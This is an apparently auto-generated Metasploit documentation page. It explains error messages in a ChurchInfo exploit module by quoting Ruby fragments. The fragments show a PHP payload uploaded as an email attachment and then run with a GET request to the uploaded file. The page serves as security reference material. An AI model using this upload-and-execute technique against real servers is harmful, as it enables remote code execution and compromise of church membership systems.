193:	      fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")
194:	    end
195:	    if cart_items['cart'].to_i < 1
196:	      print_error('No items in cart detected')
197:	      fail_with(Failure::UnexpectedReply,
198:	                'Failure to add items to cart, no items were detected. Check if there are person entries in the application')
199:	    end
200:	    print_good("Items in Cart: #{cart_items}")
201:	

Failed to upload the payload.


Here is a relevant code snippet related to the "Failed to upload the payload." error message:

221:	    )
222:	
223:	    # Ensure that we get a 200 and the intended payload was
224:	    # successfully uploaded and attached to the draft email.
225:	    unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}")
226:	      fail_with(Failure::Unknown, 'Failed to upload the payload.')
227:	    end
228:	    print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}")
229:	
230:	    # Have our payload deleted after we exploit
231:	    register_file_for_cleanup(payload_name)

<PEER> - Could not connect to the web service


Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:

232:	
233:	    # Make a GET request to the PHP file that was uploaded to execute it on the target server.
234:	    print_good('Executing payload with GET request')
235:	    send_request_cgi(
236:	      'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name),
237:	      'method' => 'GET'
238:	    )
239:	  rescue ::Rex::ConnectionError
240:	    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
241:	  end
242:	end

Go back to menu.


References


Authors


Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.